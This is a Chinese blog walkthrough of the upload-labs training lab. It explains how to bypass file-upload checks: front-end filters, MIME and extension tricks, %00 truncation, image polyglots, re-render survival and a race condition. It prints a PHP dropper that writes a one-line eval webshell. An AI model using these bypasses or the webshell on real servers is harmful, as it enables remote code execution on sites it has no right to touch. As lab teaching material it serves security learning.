webshell一些上传心得

news2025/3/12 3:19:53

我们以upload-labs为基础

一、前端拦截:

如第一关

工作方式:

直接在前端拦截

绕过方式:

因为没有限制后端,所有可以用bs 绕过前端修改格式即可

  • 将需要上传的php文件改成jpg格式

  • 使用burp suite 拦截上传后,使用repeater模块将jpg改回php发送即可在这里插入图片描述

  • 可以看到成功上传在这里插入图片描述

二、只判断文件类型:

如第二关

工作方式:

只判断了文件的类型,而没有进行其他的检查方式

绕过方式:

使用bs将返回的数据包中文件格式直接改成允许的文件格式即可绕过

  • 将php文件上传的同时使用bs抓包

  • 使用repeater模块,将content-type中数据改为image/png即可
    在这里插入图片描述

  • 可以看到已成功上传在这里插入图片描述

三、黑名单限制

如第5、6、7、8、9关(因为是windows的特性,所以只能在windows中使用)

工作方式:

匹配到代码带有的黑名单后会直接拦截

绕过方式:

将后缀改为一些没有被拦截到的方式进行绕过

绕过方式示例绕过原因
修改大小写绕过1.Phpwindows不区分大小写
添加末尾空格绕过1.phpWindows会自动删除首尾空格
在末尾添加 . 绕过1.php.windows会删除末尾的点
在末尾添加 ::$DATA绕过1.php:$DATAWindows会将以::$DATA结尾的文件以数据流的方式处理

四、删除黑名单内容

如第十关

工作方式:

将匹配到的黑名单的信息删掉

绕过方式:

双写代码实现绕过如1.pphphp

五、修改文件上传位置:

如第十一、十二关

工作方式:

用户在上传文件后,程序将在temp目录下生成一个临时文件,再将该文件转到程序指定的目录下

绕过方式:

在第十一关:文件保存路径是由第9行代码决定

# 第十一关的部分代码如下
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  # 看这行代码
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

我们随意上传一个文件:可以看出用户可以修改save_path函数的内容,那我们将内容改为../uploads/1.php%00 然后上传文件后缀为.jpgphp文件,代码处得到的后缀为jpg,能够通过对文件后缀的检测,但在$img_path变量处就会出现其值为../uploads/1.php%00+随机日期.jpg,当执行move_uploaded_file函数时,服务器会对路径中%00后的内容不做解析,默认迁移文件为../uploads/1.php

%00截断原理:

这是字符串的结束标识符(不再对后文的信息进行处理),攻击者可以利用手动添加字符串标识符的方式将后面的内容忽略,而后面的内容又可以帮助我们绕过检测。

在这里插入图片描述

  • 将jpg格式的php文件上传的同时使用bs抓包

  • 将抓到的数据包转到repeater模块同时修改save_path 并发送在这里插入图片描述

  • 可以看出php文件以及上传为1.php。同时,因为1.php后面的\0将后面的jpg忽略了 在这里插入图片描述

注意在第十二关中使用的是post方法,需要对%00解码:在这里插入图片描述

六、文件头检查(文件包含):

如第14、15、16关

工作方式:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

如这个函数片段,该检查方式是查看文件头部的两个字节的信息(前几个字节是格式信息)。如图:

在这里插入图片描述

绕过方式:

前提:需要有文件包含漏洞才可实现,因为使用图片马会导致拼接的php代码无法解析

因为检查的文件头部信息,上述的如改文件格式等方式肯定是不行了,就需要使用图片马

图片马:

在图片信息的后面拼接木马信息,使得在检查时,前几个字节仍然是正常的图片信息,但后面的php不会被检查,从而绕过检测上传

  • 制作图片马:

打开cmd窗口(注意工作目录)、copy 1.png/b + 1.php /a 1.png 在这里插入图片描述
拼接之后的数据:在这里插入图片描述

  • 将制作好的图片马直接上传

  • 再利用文件包含漏洞即可成功在这里插入图片描述

七、二次渲染:

第16关

工作方式:

用户上传图片后,程序并没有直接将该图片使用,而是用该图片生成一个新的图片,将新的图片用于内部使用

     $im = imagecreatefromjpeg($target_path);
# 用$target_path的图片生成一个新的图片赋值给$im

绕过方式:

图片会进行二次渲染从而使图片马不能正常使用,需要寻找没有被修改且不会影响图片格式的部分插入一句话木马

格式webshell插入位置
GIF:可以直接在渲染前后没变化的数据块插入木马即可
PNG:需要将数据写入PLTE或IDAT模块
JPG:需要插入到指定的数据块,而且可能不成功,所以需要多次尝试

GIF绕过:

  • 上传一个普通的GIF图片;将渲染后的图片下载后进行比较
  • 使用010editer等工具进行比较
  • 最好选择相同且为全0的填充字段,如果没有,在偏后的部分找相同字段修改也可以的

在这里插入图片描述

  • 利用文件包含漏洞访问在这里插入图片描述

八、条件竞争

第十七关

工作方式

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){  				 #移动文件
        if(in_array($file_ext,$ext_arr)){ 							# 判断文件后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);           						 # 删除文件
        }
    }else{
        $msg = '上传出错!';
    }
}

代码的处理流程

  • 移动文件到指定路径
  • 判断文件后缀是否符合
  • 符合则重命名;不符合则删除文件

绕过方式

像这种存在代码逻辑问题(先移动再删除),服务器处理过程中,总是有时间差,而我们上传图片后在文件还没被删除时就快速访问目标文件(上传的文件是在上级目录再创建一个木马文件),就能够在删除前就创建新的木马文件,源文件删除后,新木马文件并不会删除

  • 创建木马文件q.php:在执行时会在上级目录生成一个1.php的木马文件
<?php fputs(fopen('../1.php','w'),'<?php @eval($_POST["111"])?>');?>
  • q.php上传并用bs抓包在这里插入图片描述

    转入intruder模块,随便设置一下在这里插入图片描述

  • 再抓一个访问q.php的数据包在这里插入图片描述

  • 也转入intruder模块

  • 准备工作做好后,开始攻击

    可以看到有一个成功,再打开vscode在这里插入图片描述
    1.php已经生成在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2313521.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ROS实践(二)构建Gazebo机器人模型文件urdf

目录 一、基础语法 1. urdf文件组成 2. robot根标签 3. link 和 joint标签 4. sensor标签 二、 实验&#xff1a;使用launch文件启动rviz查看机器人模型 1. 编写机器人模型的urdf文件。 2. 编写launch文件。 3. 运行launch&#xff0c;查看效果。 URDF&#xff08;Unifi…

Linux 入门:常用命令速查手册

目录 一.指令 1.pwd&#xff08;显示所在路径&#xff09; 2.ls&#xff08;列出所有子目录与文件&#xff09; 3.touch&#xff08;创建文件&#xff09; 4.mkdir&#xff08;创建目录&#xff09; 5.cd&#xff08;改变所处位置&#xff09; 6.rm&#xff08;删除&…

2路模拟量同步输出卡、任意波形发生器卡—PCIe9100数据采集卡

品牌&#xff1a;阿尔泰科技 型号&#xff1a; PCIe9100、PCIe9101、PXIe9100、PXIe9101 产品系列&#xff1a;任意波形发生器 支持操作系统&#xff1a;XP、Win7、Win8、Win10 简要介绍&#xff1a; 910X 系列是阿尔泰科技公司推出的 PCIe、PXIe 总线的任意波形发生器&…

Facebook 隐私保护技术的发展与未来趋势

Facebook 隐私保护技术的发展与未来趋势 在这个数字化时代&#xff0c;个人隐私保护已成为全球关注的焦点。Facebook&#xff0c;作为全球最大的社交网络平台之一&#xff0c;其在隐私保护技术的发展上扮演着重要角色。本文将探讨 Facebook 在隐私保护技术方面的进展&#xff…

Python基于Django的医用耗材网上申领系统【附源码、文档说明】

博主介绍&#xff1a;✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…

⭐LeetCode(数学分类) 48. 旋转图像——优美的数学法转圈(原地修改)⭐

⭐LeetCode(数学分类) 48. 旋转图像——优美的数学法转圈(原地修改)⭐ 示例 1&#xff1a; 输入&#xff1a;root [5,3,6,2,4,null,8,1,null,null,null,7,9] 输出&#xff1a;[1,null,2,null,3,null,4,null,5,null,6,null,7,null,8,null,9] 示例 2&#xff1a; 输入&#xff1…

深度学习PyTorch之13种模型精度评估公式及调用方法

深度学习pytorch之22种损失函数数学公式和代码定义 深度学习pytorch之19种优化算法&#xff08;optimizer&#xff09;解析 深度学习pytorch之4种归一化方法&#xff08;Normalization&#xff09;原理公式解析和参数使用 深度学习pytorch之简单方法自定义9类卷积即插即用 实时…

tomcat单机多实例部署

一、部署方法 多实例可以运行多个不同的应用&#xff0c;也可以运行相同的应用&#xff0c;类似于虚拟主机&#xff0c;但是他可以做负载均衡。 方式一&#xff1a; 把tomcat的主目录挨个复制&#xff0c;然后把每台主机的端口给改掉就行了。 优点是最简单最直接&#xff0c;…

Java开发者如何接入并使用DeepSeek

目录 一、准备工作 二、添加DeepSeek SDK依赖 三、初始化DeepSeek客户端 四、数据上传与查询 五、数据处理与分析 六、实际应用案例 七、总结 【博主推荐】&#xff1a;最近发现了一个超棒的人工智能学习网站&#xff0c;内容通俗易懂&#xff0c;风格风趣幽默&#xff…

win10电脑鼠标速度突然变的很慢?

电脑鼠标突然变很慢&#xff0c;杀毒检测后没问题&#xff0c;鼠标设置也没变&#xff0c;最后发现可能是误触鼠标的“DPI”调节键。 DPI调节键在鼠标滚轮下方&#xff0c;再次点击即可恢复正常鼠标速度。 如果有和-的按键&#xff0c;速度变快&#xff0c;-速度变慢。 图源&…

第四次CCF-CSP认证(含C++源码)

第四次CCF-CSP认证 第一道&#xff08;easy&#xff09;思路及AC代码 第二道&#xff08;easy&#xff09;思路及AC代码遇到的问题 第三道&#xff08;mid&#xff09;思路及AC代码 第一道&#xff08;easy&#xff09; 题目链接 思路及AC代码 这题就是将这个矩阵旋转之后输出…

Netty基础—1.网络编程基础一

大纲 1.什么是OSI开放系统互连 2.OSI七层模型各层的作用 3.TCP/IP协议的简介 4.TCP和UDP的简介 5.TCP连接的三次握手 6.TCP连接的四次挥手 7.TCP/IP中的数据包 8.TCP通过确认应答与序列号提高可靠性 9.HTTP请求的传输过程 10.HTTP协议报文结构 11.Socket、短连接、长…

98.在 Vue3 中使用 OpenLayers 根据 Resolution 的不同显示不同的地图

在 Vue3 中使用 OpenLayers 根据 Resolution 的不同显示不同的地图 前言 在 Web GIS&#xff08;地理信息系统&#xff09;应用开发中&#xff0c;地图的 Resolution&#xff08;分辨率&#xff09;是一个重要的概念。不同的 Resolution 适用于不同的地图层级&#xff0c;有时…

unity学习64,第3个小游戏:一个2D跑酷游戏

目录 学习参考 素材资源导入 1 创建项目 1.1 创建1个2D项目 1.2 导入素材 2 背景图bg 2.0 bg素材 2.1 创建背景 2.2 修改素材&#xff0c;且修改摄像机等 2.2.1 修改导入的原始prefab素材 2.2.2 对应调整摄像机 2.2.3 弄好背景 2.3 背景相关脚本实现 2.3.1 错误…

在本地部署DeepSeek等大模型时,需警惕的潜在安全风险

在本地部署DeepSeek等大模型时&#xff0c;尽管数据存储在本地环境&#xff08;而非云端&#xff09;&#xff0c;但仍需警惕以下潜在安全风险&#xff1a; 1. 模型与数据存储风险 未加密的存储介质&#xff1a;若训练数据、模型权重或日志以明文形式存储&#xff0c;可能被物…

【redis】string类型相关操作:SET、GET、MSET、MGET、SETNX、SETEX、PSETEX

文章目录 二进制存储编码转换SET 和 GETSETGET MSET 和 MGETSETNX、SETEX 和 PSETEX Redis 所有的 key 都是字符串&#xff0c;value 的类型是存在差异的 二进制存储 Redis 中的字符串&#xff0c;直接就是按照二进制数据的方式存储的 不仅仅可以存储文本数据&#xff0c;还可…

GaussDB安全配置指南:从认证到防御的全方面防护

一、引言 随着企业数据规模的扩大和云端化进程加速&#xff0c;数据库安全性成为运维的核心挑战之一。GaussDB作为一款高性能分布式数据库&#xff0c;提供了丰富的安全功能。本文将从 ​认证机制、权限控制、数据加密、审计日志​ 等维度&#xff0c;系统性地讲解如何加固 Ga…

Ubuntu20.04搭建gerrit code review

一、环境准备 1. 安装 Java 环境‌ Gerrit 依赖 Java 运行环境&#xff08;推荐 JDK 8&#xff09;&#xff1a; sudo apt install openjdk-11-jdk 验证安装&#xff1a; java -version ‌2. 安装 Git sudo apt install git ‌3. 可选依赖 数据库‌&#xff1a;Gerrit …

MacOS安装FFmpeg和FFprobe

按照网上很多教程安装&#xff0c;结果都失败了&#xff0c;后来才发现是路径问题&#xff0c;其实安装过程很简单&#xff08;无奈&#xff09; 第一步&#xff1a; 在官网下载 打开页面后&#xff0c;可以看到FFmpeg、FFprobe、FFplay和FFserver的下载图标 第二步&#xff1…

Redis7系列:设置开机自启

前面的文章讲了Redis和Redis Stack的安装&#xff0c;随着服务器的重启&#xff0c;导致Redis 客户端无法连接。原来的是Redis没有配置开机自启。此文记录一下如何配置开机自启。 1、修改配置文件 前面的Redis和Redis Stack的安装的文章中已经讲了redis.config的配置&#xf…